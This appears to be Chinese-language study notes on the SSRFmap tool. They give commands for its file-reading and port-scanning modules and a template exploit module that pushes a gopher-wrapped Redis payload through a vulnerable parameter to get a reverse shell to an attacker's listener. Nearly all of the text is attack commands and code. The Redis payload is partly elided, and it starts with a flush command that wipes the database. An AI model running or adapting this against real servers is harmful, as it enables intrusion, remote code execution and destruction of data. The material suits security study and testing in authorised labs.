python ssrfmap.py -r 1.txt -p url -m readfiles-r:指定数据包-p:指定漏洞参数-m:指定检测的模块

python ssrfmap.py -r 1.txt -p url -m portscan

from core.utils import *
import logging
name          = "servicename inlowercase"
description   = "ServiceName RCE - What does itdo"
author        = "Name or pseudo of theauthor"
documentation= ["http://link_to_a_research", "http://another_link"]
class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"
    def __init__(self, requester, args):
        logging.info("Module '{}' launched!".format(name))
        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST= input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost
        if args.lport == None: self.SERVER_PORT= input("Server Port:")
        else:                  self.SERVER_PORT = args.lport
        # Data for the service
        # Using a generator to create the hostlist
        # Edit the following ip if you need totarget something else
        gen_host =gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data ="*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip ,port)
            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST",self.SERVER_HOST)
            payload =payload.replace("SERVER_PORT", self.SERVER_PORT)
            # Send the payload
            r =requester.do_request(args.param, payload)